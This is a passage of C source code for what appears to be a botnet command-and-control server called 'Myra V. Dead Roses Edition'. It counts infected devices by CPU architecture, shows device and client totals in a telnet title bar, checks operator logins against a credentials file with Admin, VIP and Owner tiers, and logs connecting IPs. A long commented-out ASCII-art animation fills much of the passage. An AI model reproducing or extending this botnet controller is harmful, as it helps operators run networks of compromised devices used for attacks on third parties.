605 printf("\"%s\"\n", myra_buffer_size); } // This Is The Output Here
606
607 if (count == -1) // Error Value - [Show ERR]
608 {
609 if (errno != EAGAIN) // // Error Value - [Show ERR]
610 {
611 done = 1; // Error Value
612 }
613 break;
614 }
615 else if (count == 0) // // Error Value - [Show ERR]
616 {
617 done = 1; // // Error Value - [Show ERR]
618 break; // Break This Function. Terminate.
619 }
620 }
621
622 if (done) // Only If Value, Is [Done] ( Equal To 0 )
623 {
624 client->transmitted_successfully = 0; // Display Our Devices, This Is One The Client Side.
625 client->arm = 0; // Display Our Devices, This Is One The Client Side.
626 client->mips = 0; // Display Our Devices, This Is One The Client Side.
627 client->sh4 = 0; // Display Our Devices, This Is One The Client Side.
628 client->x86 = 0; // Display Our Devices, This Is One The Client Side.
629 client->spc = 0; // Display Our Devices, This Is One The Client Side.
630 client->ppc = 0; // Display Our Devices, This Is One The Client Side.
631 close(clear_myra_broadcast);
632 }
633 }
634 }
635 }
636}
637
638unsigned int myra_arm_connected() // Create An Unsigned Integer, For Our Device
639{
640 int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
641 for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
642 {
643 if(!clients[trim_integer].arm) continue; // Continue, After Device Statement.
644 total_output++; // Total Device Value
645 }
646
647 return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
648}
649unsigned int myra_mipsel_connected() // Create An Unsigned Integer, For Our Device
650{
651 int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
652 for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
653 {
654 if(!clients[trim_integer].mips) continue; // Continue, After Device Statement.
655 total_output++; // Total Device Value
656 }
657
658 return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
659}
660
661unsigned int myra_x86_connected() // Create An Unsigned Integer, For Our Device
662{
663 int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
664 for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
665 {
666 if(!clients[trim_integer].x86) continue; // Continue, After Device Statement.
667 total_output++; // Total Device Value
668 }
669
670 return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
671}
672
673unsigned int myra_spc_connected() // Create An Unsigned Integer, For Our Device
674{
675 int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
676 for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
677 {
678 if(!clients[trim_integer].spc) continue; // Continue, After Device Statement.
679 total_output++; // Total Device Value
680 }
681
682 return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
683}
684
685unsigned int myra_ppc_connected() // Create An Unsigned Integer, For Our Device
686{
687 int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
688 for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
689 {
690 if(!clients[trim_integer].ppc) continue; // Continue, After Device Statement.
691 total_output++; // Total Device Value
692 }
693
694 return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
695}
696
697unsigned int myra_sh4_connected() // Create An Unsigned Integer, For Our Device
698{
699 int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
700 for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
701 {
702 if(!clients[trim_integer].sh4) continue; // Continue, After Device Statement.
703 total_output++; // Total Device Value
704 }
705
706 return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
707}
708
709unsigned int myra_clients_connected() // Create An Unsigned Integer, For Our Device
710{
711 int trim_integer = 0, total_output = 0; // Stating First Integer [int == 0,] - The Total, Will ALso Be NULL [ 0 ]
712 for (trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // We Shall Set The File Descriptor Maximum For I.
713 {
714 if (!clients[trim_integer].transmitted_successfully) continue; // Continue, After Device Statement.
715 total_output++; // Total Device Value
716 }
717
718 return total_output; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
719}
720
721 void *myra_title_creator(void *sock) // We Shall Create A Window Title For The Screen
722 {
723 int clear_myra_broadcast = (long int)sock; // Creating A 'Long' Integer, For socket_propulsion_data output
724 char string[3000]; // Char Every Line For Output Communication
725 while(1) // While == Wait 1 Second, This Is Stable
726 {
727 memset(string, 0, 3000);
728 sprintf(string, "%c]0; Myra V. Dead Roses Edition. | Devices: %d | Clients: %d %c", '\033', myra_clients_connected(), successful_transmission, '\007'); // [Title]
729 if(send(clear_myra_broadcast, string, strlen(string), MSG_NOSIGNAL) == -1); // Send Output Response
730 sleep(2); // Sleep, So No Concurrent Processes Create Any Problems
731 }
732 }
733
734
735int myra_file_searcher_v3(char *target_string) // Char Every Line For Output Communication [Search In File]
736{
737 FILE *fp; // FILE*fp - File Pointer
738 int line_numerical = 0; // Create Integer For Each Line Number
739 int result_found_data = 0, find_line = 0; // Create Integer For Each Line Number
740 char temp[512]; // Char [512]
741
742 if ((fp = fopen("myra-db-set.txt", "r")) == NULL) { // [Login.txt Output]
743 return(-1); // Return Value
744 }
745 while (fgets(temp, 512, fp) != NULL) { // temp -- 512
746 if ((strstr(temp, target_string)) != NULL) { // Constant Char Communication Between Unsigned_Integer.
747 result_found_data++; // Finding Output Value
748 find_line = line_numerical; // Find Line, Then Put Under Line_Numerical
749 }
750 line_numerical++; // Line Output -- Line Total
751 }
752 if (fp) // Check
753 fclose(fp); // Kill
754
755 if (result_found_data == 0)return 0; // Result Output
756
757 return find_line;
758}
759void myra_client_address(struct sockaddr_in addr) { // Client Adress -- To Socket Adress
760 printf("\e[38;5;168mIP\e[38;5;134m:[\e[38;5;168m%d.%d.%d.%d\e[38;5;134m]\n", // Display User IP Output
761 addr.sin_addr.s_addr & 0xFF, // 0xFF --> + Whatever Stated Value
762 (addr.sin_addr.s_addr & 0xFF00) >> 8, // 0xFF --> + Whatever Stated Value
763 (addr.sin_addr.s_addr & 0xFF0000) >> 16, // 0xFF --> + Whatever Stated Value
764 (addr.sin_addr.s_addr & 0xFF000000) >> 24); // 0xFF --> + Whatever Stated Value
765 FILE *myra_log_file; // Create IP Log
766 myra_log_file = fopen("logs/Myra_IP.log", "a"); // Output The File
767 fprintf(myra_log_file, "\n\e[38;5;168mIP\e[38;5;134m:[\e[38;5;168m%d.%d.%d.%d\e[38;5;134m]", // IP Format, Via The Following.
768 addr.sin_addr.s_addr & 0xFF, // 0xFF --> Whatever Stated Value
769 (addr.sin_addr.s_addr & 0xFF00) >> 8, // 0xFF --> Whatever Stated Value
770 (addr.sin_addr.s_addr & 0xFF0000) >> 16, // 0xFF --> Whatever Stated Value
771 (addr.sin_addr.s_addr & 0xFF000000) >> 24); // 0xFF --> Whatever Stated Value
772 fclose(myra_log_file); // Close The Log File
773}
774// struct msghdr {
775// void *msg_name; /* optional address */
776// socklen_t msg_namelen; /* size of address */
777// struct iovec *msg_iov; /* scatter/gather array */
778// size_t msg_iovlen; /* # elements in msg_iov */
779// void *msg_control; /* ancillary data, see below */
780// size_t msg_controllen; /* ancillary data buffer len */
781// int msg_flags; /* flags on received message */
782//
783void *myra_telnet_data(void *sock) { // Here Is Where The Magic Happens
784 int clear_myra_broadcast = (int)sock; // Create Integer For socket_propulsion_data
785 successful_transmission++; // State Manages Connected
786 int find_line; // Create Integer For Find Line Function
787 pthread_t title; // Use pthread To Output Title
788 char counter[3000]; // Char Every Line For Output Communication
789 memset(counter, 0, 3000); // Fill Data Block - [3000]
790 char myra_buffer_size[3000]; // Char Every Line For Output Communication
791 char* write_string; // Char Every Line For Output Communication
792 char usernamez[80]; // Char Every Line For Output Communication
793 char* password; // Char Every Line For Output Communication
794 char *Admin = "Admin"; // Char Every Line For Output Communication
795 char *Normal = "Normal"; // Char Every Line For Output Communication
796 char *VIP = "VIP"; // Char Every Line For Output Communication
797 char *Owner = "Owner"; // Char Every Line For Output Communication
798 memset(myra_buffer_size, 0, sizeof myra_buffer_size); // Fill Data Block - [myra_buffer_size]
799 char myra[3000]; // Char Every Line For Output Communication
800 memset(myra, 0, 3000); // Fill Data Block - [3000]
801 /*
802 Here we are animating ASCII art to move
803 to the middle of the screen.
804
805 I am sure there must be a much more efficient
806 way of doing this.
807 */
808 //char test_001 [5000];
809 //char test_002 [5000];
810 //char test_003 [5000];
811 //char test_004 [5000];
812 //char test_005 [5000];
813 //char test_006 [5000];
814 //char test_007 [5000];
815 //char test_008 [5000];
816 //char test_009 [5000];
817 //char test_010 [5000];
818 //char test_011 [5000];
819 //char test_012 [5000];
820 //char test_013 [5000];
821 //char test_014 [5000];
822 //char test_015 [5000];
823 //char test_016 [5000];
824 //char test_017 [5000];
825 //// 0
826 //char test_018 [5000];
827 //char test_019 [5000];
828 //char test_020 [5000];
829 //char test_021 [5000];
830 //char test_022 [5000];
831 //char test_023 [5000];
832 //char test_024 [5000];
833 //char test_025 [5000];
834 //char test_026 [5000];
835 //char test_027 [5000];
836 //char test_028 [5000];
837 //char test_029 [5000];
838 //char test_030 [5000];
839 //char test_031 [5000];
840 //char test_032 [5000];
841 //char test_033 [5000];
842 //char test_034 [5000];
843 //// 0
844 //char test_035 [5000];
845 //char test_036 [5000];
846 //char test_037 [5000];
847 //char test_038 [5000];
848 //char test_039 [5000];
849 //char test_040 [5000];
850 //char test_041 [5000];
851 //char test_042 [5000];
852 //char test_043 [5000];
853 //char test_044 [5000];
854 //char test_045 [5000];
855 //char test_046 [5000];
856 //char test_047 [5000];
857 //char test_048 [5000];
858 //char test_049 [5000];
859 //char test_050 [5000];
860 //char test_051 [5000];
861 //// 0
862 //char test_052 [5000];
863 //char test_053 [5000];
864 //char test_054 [5000];
865 //char test_055 [5000];
866 //char test_056 [5000];
867 //char test_057 [5000];
868 //char test_058 [5000];
869 //char test_059 [5000];
870 //char test_060 [5000];
871 //char test_061 [5000];
872 //char test_062 [5000];
873 //char test_063 [5000];
874 //char test_064 [5000];
875 //char test_065 [5000];
876 //char test_066 [5000];
877 //char test_067 [5000];
878 //char test_068 [5000];
879 //// 0
880 //char test_069 [5000];
881 //char test_070 [5000];
882 //char test_071 [5000];
883 //char test_072 [5000];
884 //char test_073 [5000];
885 //char test_074 [5000];
886 //char test_075 [5000];
887 //char test_076 [5000];
888 //char test_077 [5000];
889 //char test_078 [5000];
890 //char test_079 [5000];
891 //char test_080 [5000];
892 //char test_081 [5000];
893 //char test_082 [5000];
894 //char test_083 [5000];
895 //char test_084 [5000];
896 //char test_085 [5000];
897 ////
898 //char test_086 [5000];
899 //char test_087 [5000];
900 //char test_088 [5000];
901 //char test_089 [5000];
902 //char test_090 [5000];
903 //char test_091 [5000];
904 //char test_092 [5000];
905 //char test_093 [5000];
906 //char test_094 [5000];
907 //char test_095 [5000];
908 //char test_096 [5000];
909 //char test_097 [5000];
910 //char test_098 [5000];
911 //char test_099 [5000];
912 //char test_100 [5000];
913 //char test_101 [5000];
914 //char test_102 [5000];
915 ////
916 //char test_103 [5000];
917 //char test_104 [5000];
918 //char test_105 [5000];
919 //char test_106 [5000];
920 //char test_107 [5000];
921 //char test_108 [5000];
922 //char test_109 [5000];
923 //char test_110 [5000];
924 //char test_111 [5000];
925 //char test_112 [5000];
926 //char test_113 [5000];
927 //char test_114 [5000];
928 //char test_115 [5000];
929 //char test_116 [5000];
930 //char test_117 [5000];
931 //char test_118 [5000];
932 //char test_119 [5000];
933 /*
934#Cyan = \e[38;5;168m
935#Pink = \e[38;5;225m
936#White = \e[38;5;134m"
937*/
938 //sprintf(test_001, "\e[38;5;134m ╗ \r\n");
939 //sprintf(test_002, "\e[38;5;134m ║ ╔ \r\n");
940 //sprintf(test_003, "\e[38;5;134m ║ ║ \r\n");
941 //sprintf(test_004, "\e[38;5;134m ║╔╦═╝ \r\n");
942 //sprintf(test_005, "\e[38;5;134m ╚╣║ \r\n");
943 //sprintf(test_006, "\e[38;5;134m ║╠═══╝ \r\n");
944 //sprintf(test_007, "\e[38;5;134m \e[38;5;225m╔═══╝╚══╗ \r\n");
945 //sprintf(test_008, "\e[38;5;134m ╔═╩═╗ ╚═╝ \r\n");
946 //sprintf(test_009, "\e[38;5;134m ║ V.║ \r\n");
947 //sprintf(test_010, "\e[38;5;134m ╔═╗ ╚═╦═╝ \r\n");
948 //sprintf(test_011, "\e[38;5;134m \e[38;5;225m╚══╗╔═══╝ \r\n");
949 //sprintf(test_012, "\e[38;5;134m ╔═══╣║ \r\n");
950 //sprintf(test_013, "\e[38;5;134m ║╠╗ \r\n");
951 //sprintf(test_014, "\e[38;5;134m ╔═╩╝║ \r\n");
952 //sprintf(test_015, "\e[38;5;134m ║ ║ \r\n");
953 //sprintf(test_016, "\e[38;5;134m ╝ ║ \r\n");
954 //sprintf(test_017, "\e[38;5;134m ╚ \r\n");
955 //// Clear - Sleep 1
956 //sprintf(test_018, "\e[38;5;134m ╗ \r\n");
957 //sprintf(test_019, "\e[38;5;134m ║ ╔ \r\n");
958 //sprintf(test_020, "\e[38;5;134m ║ ║ \r\n");
959 //sprintf(test_021, "\e[38;5;134m ║╔╦═╝ \r\n");
960 //sprintf(test_022, "\e[38;5;134m \e[38;5;225m╚╣║ \r\n");
961 //sprintf(test_023, "\e[38;5;134m \e[38;5;225m║╠═══╝ \r\n");
962 //sprintf(test_024, "\e[38;5;134m \e[38;5;225m╔═══╝╚══╗ \r\n");
963 //sprintf(test_025, "\e[38;5;134m ╔═╩═╗ ╚═╝ \r\n");
964 //sprintf(test_026, "\e[38;5;134m ║ V.║ \r\n");
965 //sprintf(test_027, "\e[38;5;134m ╔═╗ ╚═╦═╝ \r\n");
966 //sprintf(test_028, "\e[38;5;134m \e[38;5;225m╚══╗╔═══╝ \r\n");
967 //sprintf(test_029, "\e[38;5;134m \e[38;5;225m╔═══╣║ \r\n");
968 //sprintf(test_030, "\e[38;5;134m \e[38;5;225m║╠╗ \r\n");
969 //sprintf(test_031, "\e[38;5;134m ╔═╩╝║ \r\n");
970 //sprintf(test_032, "\e[38;5;134m ║ ║ \r\n");
971 //sprintf(test_033, "\e[38;5;134m ╝ ║ \r\n");
972 //sprintf(test_034, "\e[38;5;134m ╚ \r\n");
973 //// Clear - Sleep 1
974 //sprintf(test_035, "\e[38;5;134m ╗ \r\n");
975 //sprintf(test_036, "\e[38;5;134m ║ ╔ \r\n");
976 //sprintf(test_037, "\e[38;5;134m ║ ║ \r\n");
977 //sprintf(test_038, "\e[38;5;134m \e[38;5;225m║╔╦═╝ \r\n");
978 //sprintf(test_039, "\e[38;5;134m \e[38;5;225m╚╣║ \r\n");
979 //sprintf(test_040, "\e[38;5;134m \e[38;5;225m║╠═══╝ \r\n");
980 //sprintf(test_041, "\e[38;5;134m \e[38;5;225m╔═══╝╚══╗ \r\n");
981 //sprintf(test_042, "\e[38;5;134m \e[38;5;225m╔═╩═╗ ╚═╝ \r\n");
982 //sprintf(test_043, "\e[38;5;134m ║ V.║ \r\n");
983 //sprintf(test_044, "\e[38;5;134m \e[38;5;225m╔═╗ ╚═╦═╝ \r\n");
984 //sprintf(test_045, "\e[38;5;134m \e[38;5;225m╚══╗╔═══╝ \r\n");
985 //sprintf(test_046, "\e[38;5;134m \e[38;5;225m╔═══╣║ \r\n");
986 //sprintf(test_047, "\e[38;5;134m \e[38;5;225m║╠╗ \r\n");
987 //sprintf(test_048, "\e[38;5;134m \e[38;5;225m╔═╩╝║ \r\n");
988 //sprintf(test_049, "\e[38;5;134m ║ ║ \r\n");
989 //sprintf(test_050, "\e[38;5;134m ╝ ║ \r\n");
990 //sprintf(test_051, "\e[38;5;134m ╚ \r\n");
991 //// Clear - Sleep 1
992 //sprintf(test_052, "\e[38;5;134m ╗ \r\n");
993 //sprintf(test_053, "\e[38;5;134m ║ ╔ \r\n");
994 //sprintf(test_054, "\e[38;5;134m \e[38;5;225m║ ║ \r\n");
995 //sprintf(test_055, "\e[38;5;134m \e[38;5;225m║╔╦═╝ \r\n");
996 //sprintf(test_056, "\e[38;5;134m \e[38;5;225m╚╣║ \r\n");
997 //sprintf(test_057, "\e[38;5;134m \e[38;5;225m║╠═══╝ \r\n");
998 //sprintf(test_058, "\e[38;5;134m \e[38;5;225m╔═══╝╚══╗ \r\n");
999 //sprintf(test_059, "\e[38;5;134m \e[38;5;225m╔═╩═╗ ╚═╝ \r\n");
1000 //sprintf(test_060, "\e[38;5;134m ║ V.║ \r\n");
1001 //sprintf(test_061, "\e[38;5;134m \e[38;5;225m╔═╗ ╚═╦═╝ \r\n");
1002 //sprintf(test_062, "\e[38;5;134m \e[38;5;225m╚══╗╔═══╝ \r\n");
1003 //sprintf(test_063, "\e[38;5;134m \e[38;5;225m╔═══╣║ \r\n");
1004 //sprintf(test_064, "\e[38;5;134m \e[38;5;225m║╠╗ \r\n");
1005 //sprintf(test_065, "\e[38;5;134m \e[38;5;225m╔═╩╝║ \r\n");
1006 //sprintf(test_066, "\e[38;5;134m \e[38;5;225m║ ║ \r\n");
1007 //sprintf(test_067, "\e[38;5;134m ╝ ║ \r\n");
1008 //sprintf(test_068, "\e[38;5;134m ╚ \r\n");
1009 //// Clear - Sleep 1
1010 //sprintf(test_069, "\e[38;5;134m ╗ \r\n");
1011 //sprintf(test_070, "\e[38;5;134m \e[38;5;225m║ ╔ \r\n");
1012 //sprintf(test_071, "\e[38;5;134m \e[38;5;225m║ ║ \r\n");
1013 //sprintf(test_072, "\e[38;5;134m \e[38;5;225m║╔╦═╝ \r\n");
1014 //sprintf(test_073, "\e[38;5;134m \e[38;5;225m╚╣║ \r\n");
1015 //sprintf(test_074, "\e[38;5;134m \e[38;5;225m║╠═══╝ \r\n");
1016 //sprintf(test_075, "\e[38;5;134m \e[38;5;225m╔═══╝╚══╗ \r\n");
1017 //sprintf(test_076, "\e[38;5;134m \e[38;5;225m╔═╩═╗ ╚═╝ \r\n");
1018 //sprintf(test_077, "\e[38;5;134m ║ V.║ \r\n");
1019 //sprintf(test_078, "\e[38;5;134m \e[38;5;225m╔═╗ ╚═╦═╝ \r\n");
1020 //sprintf(test_079, "\e[38;5;134m \e[38;5;225m╚══╗╔═══╝ \r\n");
1021 //sprintf(test_080, "\e[38;5;134m \e[38;5;225m╔═══╣║ \r\n");
1022 //sprintf(test_081, "\e[38;5;134m \e[38;5;225m║╠╗ \r\n");
1023 //sprintf(test_082, "\e[38;5;134m \e[38;5;225m╔═╩╝║ \r\n");
1024 //sprintf(test_083, "\e[38;5;134m \e[38;5;225m║ ║ \r\n");
1025 //sprintf(test_084, "\e[38;5;134m \e[38;5;225m╝ ║ \r\n");
1026 //sprintf(test_085, "\e[38;5;134m ╚ \r\n");
1027 //// Clear - Sleep 1
1028 //sprintf(test_086, "\e[38;5;134m \e[38;5;225m╗ \r\n");
1029 //sprintf(test_087, "\e[38;5;134m \e[38;5;225m║ ╔ \r\n");
1030 //sprintf(test_088, "\e[38;5;134m \e[38;5;225m║ ║ \r\n");
1031 //sprintf(test_089, "\e[38;5;134m \e[38;5;225m║╔╦═╝ \r\n");
1032 //sprintf(test_090, "\e[38;5;134m \e[38;5;225m╚╣║ \r\n");
1033 //sprintf(test_091, "\e[38;5;134m \e[38;5;225m║╠═══╝ \r\n");
1034 //sprintf(test_092, "\e[38;5;134m \e[38;5;225m╔═══╝╚══╗ \r\n");
1035 //sprintf(test_093, "\e[38;5;134m \e[38;5;225m╔═╩═╗ ╚═╝ \r\n");
1036 //sprintf(test_094, "\e[38;5;134m ║ V.║ \r\n");
1037 //sprintf(test_095, "\e[38;5;134m \e[38;5;225m╔═╗ ╚═╦═╝ \r\n");
1038 //sprintf(test_096, "\e[38;5;134m \e[38;5;225m╚══╗╔═══╝ \r\n");
1039 //sprintf(test_097, "\e[38;5;134m \e[38;5;225m╔═══╣║ \r\n");
1040 //sprintf(test_098, "\e[38;5;134m \e[38;5;225m║╠╗ \r\n");
1041 //sprintf(test_099, "\e[38;5;134m \e[38;5;225m╔═╩╝║ \r\n");
1042 //sprintf(test_100, "\e[38;5;134m \e[38;5;225m║ ║ \r\n");
1043 //sprintf(test_101, "\e[38;5;134m \e[38;5;225m╝ ║ \r\n");
1044 //sprintf(test_102, "\e[38;5;134m \e[38;5;225m╚ \r\n");
1045 //// Clear - Sleep 1
1046 //sprintf(test_103, "\e[38;5;134m \e[38;5;225m╗ \r\n");
1047 //sprintf(test_104, "\e[38;5;134m \e[38;5;225m║ ╔ \r\n");
1048 //sprintf(test_105, "\e[38;5;134m \e[38;5;225m║ ║ \r\n");
1049 //sprintf(test_106, "\e[38;5;134m \e[38;5;225m║╔╦═╝ \r\n");
1050 //sprintf(test_107, "\e[38;5;134m \e[38;5;225m╚╣║ \r\n");
1051 //sprintf(test_108, "\e[38;5;134m \e[38;5;225m║╠═══╝ \r\n");
1052 //sprintf(test_109, "\e[38;5;134m \e[38;5;225m╔═══╝╚══╗ \r\n");
1053 //sprintf(test_110, "\e[38;5;134m \e[38;5;225m╔═╩═╗ ╚═╝ \r\n");
1054 //sprintf(test_111, "\e[38;5;134m \e[38;5;225m║ \e[38;5;168mV\e[38;5;134m.\e[38;5;225m║ \r\n");
1055 //sprintf(test_112, "\e[38;5;134m \e[38;5;225m╔═╗ ╚═╦═╝ \r\n");
1056 //sprintf(test_113, "\e[38;5;134m \e[38;5;225m╚══╗╔═══╝ \r\n");
1057 //sprintf(test_114, "\e[38;5;134m \e[38;5;225m╔═══╣║ \r\n");
1058 //sprintf(test_115, "\e[38;5;134m \e[38;5;225m║╠╗ \r\n");
1059 //sprintf(test_116, "\e[38;5;134m \e[38;5;225m╔═╩╝║ \r\n");
1060 //sprintf(test_117, "\e[38;5;134m \e[38;5;225m║ ║ \r\n");
1061 //sprintf(test_118, "\e[38;5;134m \e[38;5;225m╝ ║ \r\n");
1062 //sprintf(test_119, "\e[38;5;134m \e[38;5;225m╚ \r\n");
1063 //if (send(clear_myra_broadcast, test_001, strlen(test_001), MSG_NOSIGNAL) == -1) goto finish_integer;
1064 //if (send(clear_myra_broadcast, test_002, strlen(test_002), MSG_NOSIGNAL) == -1) goto finish_integer;
1065 //if (send(clear_myra_broadcast, test_003, strlen(test_003), MSG_NOSIGNAL) == -1) goto finish_integer;
1066 //if (send(clear_myra_broadcast, test_004, strlen(test_004), MSG_NOSIGNAL) == -1) goto finish_integer;
1067 //if (send(clear_myra_broadcast, test_005, strlen(test_005), MSG_NOSIGNAL) == -1) goto finish_integer;
1068 //if (send(clear_myra_broadcast, test_006, strlen(test_006), MSG_NOSIGNAL) == -1) goto finish_integer;
1069 //if (send(clear_myra_broadcast, test_007, strlen(test_007), MSG_NOSIGNAL) == -1) goto finish_integer;
1070 //if (send(clear_myra_broadcast, test_008, strlen(test_008), MSG_NOSIGNAL) == -1) goto finish_integer;
1071 //if (send(clear_myra_broadcast, test_009, strlen(test_009), MSG_NOSIGNAL) == -1) goto finish_integer;
1072 //if (send(clear_myra_broadcast, test_010, strlen(test_010), MSG_NOSIGNAL) == -1) goto finish_integer;
1073 //if (send(clear_myra_broadcast, test_011, strlen(test_011), MSG_NOSIGNAL) == -1) goto finish_integer;
1074 //if (send(clear_myra_broadcast, test_012, strlen(test_012), MSG_NOSIGNAL) == -1) goto finish_integer;
1075 //if (send(clear_myra_broadcast, test_013, strlen(test_013), MSG_NOSIGNAL) == -1) goto finish_integer;
1076 //if (send(clear_myra_broadcast, test_014, strlen(test_014), MSG_NOSIGNAL) == -1) goto finish_integer;
1077 //if (send(clear_myra_broadcast, test_015, strlen(test_015), MSG_NOSIGNAL) == -1) goto finish_integer;
1078 //if (send(clear_myra_broadcast, test_016, strlen(test_016), MSG_NOSIGNAL) == -1) goto finish_integer;
1079 //if (send(clear_myra_broadcast, test_017, strlen(test_017), MSG_NOSIGNAL) == -1) goto finish_integer;
1080 //sleep(1);
1081 //if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
1082 ////
1083 //if (send(clear_myra_broadcast, test_018, strlen(test_018), MSG_NOSIGNAL) == -1) goto finish_integer;
1084 //if (send(clear_myra_broadcast, test_019, strlen(test_019), MSG_NOSIGNAL) == -1) goto finish_integer;
1085 //if (send(clear_myra_broadcast, test_020, strlen(test_020), MSG_NOSIGNAL) == -1) goto finish_integer;
1086 //if (send(clear_myra_broadcast, test_021, strlen(test_021), MSG_NOSIGNAL) == -1) goto finish_integer;
1087 //if (send(clear_myra_broadcast, test_022, strlen(test_022), MSG_NOSIGNAL) == -1) goto finish_integer;
1088 //if (send(clear_myra_broadcast, test_023, strlen(test_023), MSG_NOSIGNAL) == -1) goto finish_integer;
1089 //if (send(clear_myra_broadcast, test_024, strlen(test_024), MSG_NOSIGNAL) == -1) goto finish_integer;
1090 //if (send(clear_myra_broadcast, test_025, strlen(test_025), MSG_NOSIGNAL) == -1) goto finish_integer;
1091 //if (send(clear_myra_broadcast, test_026, strlen(test_026), MSG_NOSIGNAL) == -1) goto finish_integer;
1092 //if (send(clear_myra_broadcast, test_027, strlen(test_027), MSG_NOSIGNAL) == -1) goto finish_integer;
1093 //if (send(clear_myra_broadcast, test_028, strlen(test_028), MSG_NOSIGNAL) == -1) goto finish_integer;
1094 //if (send(clear_myra_broadcast, test_029, strlen(test_029), MSG_NOSIGNAL) == -1) goto finish_integer;
1095 //if (send(clear_myra_broadcast, test_030, strlen(test_030), MSG_NOSIGNAL) == -1) goto finish_integer;
1096 //if (send(clear_myra_broadcast, test_031, strlen(test_031), MSG_NOSIGNAL) == -1) goto finish_integer;
1097 //if (send(clear_myra_broadcast, test_032, strlen(test_032), MSG_NOSIGNAL) == -1) goto finish_integer;
1098 //if (send(clear_myra_broadcast, test_033, strlen(test_033), MSG_NOSIGNAL) == -1) goto finish_integer;
1099 //if (send(clear_myra_broadcast, test_034, strlen(test_034), MSG_NOSIGNAL) == -1) goto finish_integer;
1100 //sleep(1);
1101 //if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
1102 ////
1103 //if (send(clear_myra_broadcast, test_035, strlen(test_035), MSG_NOSIGNAL) == -1) goto finish_integer;
1104 //if (send(clear_myra_broadcast, test_036, strlen(test_036), MSG_NOSIGNAL) == -1) goto finish_integer;
1105 //if (send(clear_myra_broadcast, test_037, strlen(test_037), MSG_NOSIGNAL) == -1) goto finish_integer;
1106 //if (send(clear_myra_broadcast, test_038, strlen(test_038), MSG_NOSIGNAL) == -1) goto finish_integer;
1107 //if (send(clear_myra_broadcast, test_039, strlen(test_039), MSG_NOSIGNAL) == -1) goto finish_integer;
1108 //if (send(clear_myra_broadcast, test_040, strlen(test_040), MSG_NOSIGNAL) == -1) goto finish_integer;
1109 //if (send(clear_myra_broadcast, test_041, strlen(test_041), MSG_NOSIGNAL) == -1) goto finish_integer;
1110 //if (send(clear_myra_broadcast, test_042, strlen(test_042), MSG_NOSIGNAL) == -1) goto finish_integer;
1111 //if (send(clear_myra_broadcast, test_043, strlen(test_043), MSG_NOSIGNAL) == -1) goto finish_integer;
1112 //if (send(clear_myra_broadcast, test_044, strlen(test_044), MSG_NOSIGNAL) == -1) goto finish_integer;
1113 //if (send(clear_myra_broadcast, test_045, strlen(test_045), MSG_NOSIGNAL) == -1) goto finish_integer;
1114 //if (send(clear_myra_broadcast, test_046, strlen(test_046), MSG_NOSIGNAL) == -1) goto finish_integer;
1115 //if (send(clear_myra_broadcast, test_047, strlen(test_047), MSG_NOSIGNAL) == -1) goto finish_integer;
1116 //if (send(clear_myra_broadcast, test_048, strlen(test_048), MSG_NOSIGNAL) == -1) goto finish_integer;
1117 //if (send(clear_myra_broadcast, test_049, strlen(test_049), MSG_NOSIGNAL) == -1) goto finish_integer;
1118 //if (send(clear_myra_broadcast, test_050, strlen(test_050), MSG_NOSIGNAL) == -1) goto finish_integer;
1119 //if (send(clear_myra_broadcast, test_051, strlen(test_051), MSG_NOSIGNAL) == -1) goto finish_integer;
1120 //sleep(1);
1121 //if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
1122 ////
1123 //if (send(clear_myra_broadcast, test_052, strlen(test_052), MSG_NOSIGNAL) == -1) goto finish_integer;
1124 //if (send(clear_myra_broadcast, test_053, strlen(test_053), MSG_NOSIGNAL) == -1) goto finish_integer;
1125 //if (send(clear_myra_broadcast, test_054, strlen(test_054), MSG_NOSIGNAL) == -1) goto finish_integer;
1126 //if (send(clear_myra_broadcast, test_055, strlen(test_055), MSG_NOSIGNAL) == -1) goto finish_integer;
1127 //if (send(clear_myra_broadcast, test_056, strlen(test_056), MSG_NOSIGNAL) == -1) goto finish_integer;
1128 //if (send(clear_myra_broadcast, test_057, strlen(test_057), MSG_NOSIGNAL) == -1) goto finish_integer;
1129 //if (send(clear_myra_broadcast, test_058, strlen(test_058), MSG_NOSIGNAL) == -1) goto finish_integer;
1130 //if (send(clear_myra_broadcast, test_059, strlen(test_059), MSG_NOSIGNAL) == -1) goto finish_integer;
1131 //if (send(clear_myra_broadcast, test_060, strlen(test_060), MSG_NOSIGNAL) == -1) goto finish_integer;
1132 //if (send(clear_myra_broadcast, test_061, strlen(test_061), MSG_NOSIGNAL) == -1) goto finish_integer;
